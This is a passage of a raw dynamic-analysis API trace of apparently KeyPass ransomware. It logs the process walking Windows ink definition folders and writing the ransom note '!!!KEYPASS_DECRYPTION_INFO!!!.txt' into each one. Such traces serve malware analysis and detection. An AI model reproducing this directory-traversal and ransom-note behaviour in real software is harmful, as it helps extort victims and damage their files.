hFindFile=0xd06600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.557] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.557] FindNextFileW (in: hFindFile=0xd06600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.557] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned=".xml" [0239.557] FindNextFileW (in: hFindFile=0xd06600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.557] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.557] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned=".xml" [0239.557] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.557] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.557] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd083a8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.557] GetLastError () returned 0x3f0 [0239.557] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.557] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464 [0239.558] GetFileType (hFile=0x464) returned 0x1 [0239.558] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.558] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.558] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.558] WriteFile (in: hFile=0x464, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.559] WriteFile (in: hFile=0x464, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.559] CloseHandle (hObject=0x464) returned 1 [0239.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06740 [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.559] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.559] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned=".xml" [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.559] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned=".xml" [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.559] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned=".xml" [0239.559] FindNextFileW (in: hFindFile=0xd06740, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.559] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.560] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned=".xml" [0239.560] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.560] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.560] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd083a8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.560] GetLastError () returned 0x3f0 [0239.560] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.560] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0239.576] GetFileType (hFile=0x458) returned 0x1 [0239.576] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.576] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.576] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.576] WriteFile (in: hFile=0x458, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.577] WriteFile (in: hFile=0x458, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.577] CloseHandle (hObject=0x458) returned 1 [0239.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06700 [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.577] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned=".xml" [0239.577] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.578] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned=".xml" [0239.578] FindNextFileW (in: hFindFile=0xd06700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.578] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.579] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned=".xml" [0239.579] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.579] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.579] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2c578 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.579] GetLastError () returned 0x3f0 [0239.579] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.579] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0239.580] GetFileType (hFile=0x46c) returned 0x1 [0239.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.580] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.581] WriteFile (in: hFile=0x46c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.581] WriteFile (in: hFile=0x46c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.581] CloseHandle (hObject=0x46c) returned 1 [0239.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06200 [0239.582] FindNextFileW (in: hFindFile=0xd06200, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.582] FindNextFileW (in: hFindFile=0xd06200, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.582] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.582] FindNextFileW (in: hFindFile=0xd06200, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.582] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned=".xml" [0239.582] FindNextFileW (in: hFindFile=0xd06200, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.582] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.582] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned=".xml" [0239.582] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.582] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.582] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2c578 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.582] GetLastError () returned 0x3f0 [0239.582] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.582] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0239.583] GetFileType (hFile=0x470) returned 0x1 [0239.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.583] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.583] WriteFile (in: hFile=0x470, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.583] WriteFile (in: hFile=0x470, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.584] CloseHandle (hObject=0x470) returned 1 [0239.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd065c0 [0239.584] FindNextFileW (in: hFindFile=0xd065c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.584] FindNextFileW (in: hFindFile=0xd065c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.584] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.584] FindNextFileW (in: hFindFile=0xd065c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.584] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned=".xml" [0239.584] FindNextFileW (in: hFindFile=0xd065c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.584] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.584] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned=".xml" [0239.584] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.584] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.584] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd083a8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.584] GetLastError () returned 0x3f0 [0239.584] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.584] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0239.585] GetFileType (hFile=0x474) returned 0x1 [0239.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.586] WriteFile (in: hFile=0x474, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.586] WriteFile (in: hFile=0x474, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.586] CloseHandle (hObject=0x474) returned 1 [0239.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06980 [0239.587] FindNextFileW (in: hFindFile=0xd06980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.587] FindNextFileW (in: hFindFile=0xd06980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.587] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.587] FindNextFileW (in: hFindFile=0xd06980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.587] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned=".xml" [0239.587] FindNextFileW (in: hFindFile=0xd06980, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.587] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.587] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned=".xml" [0239.587] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.587] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.587] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2c640 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.587] GetLastError () returned 0x3f0 [0239.587] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.587] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0239.587] GetFileType (hFile=0x478) returned 0x1 [0239.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.588] WriteFile (in: hFile=0x478, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.588] WriteFile (in: hFile=0x478, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.588] CloseHandle (hObject=0x478) returned 1 [0239.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06400 [0239.589] FindNextFileW (in: hFindFile=0xd06400, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.589] FindNextFileW (in: hFindFile=0xd06400, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.589] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.589] FindNextFileW (in: hFindFile=0xd06400, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.589] 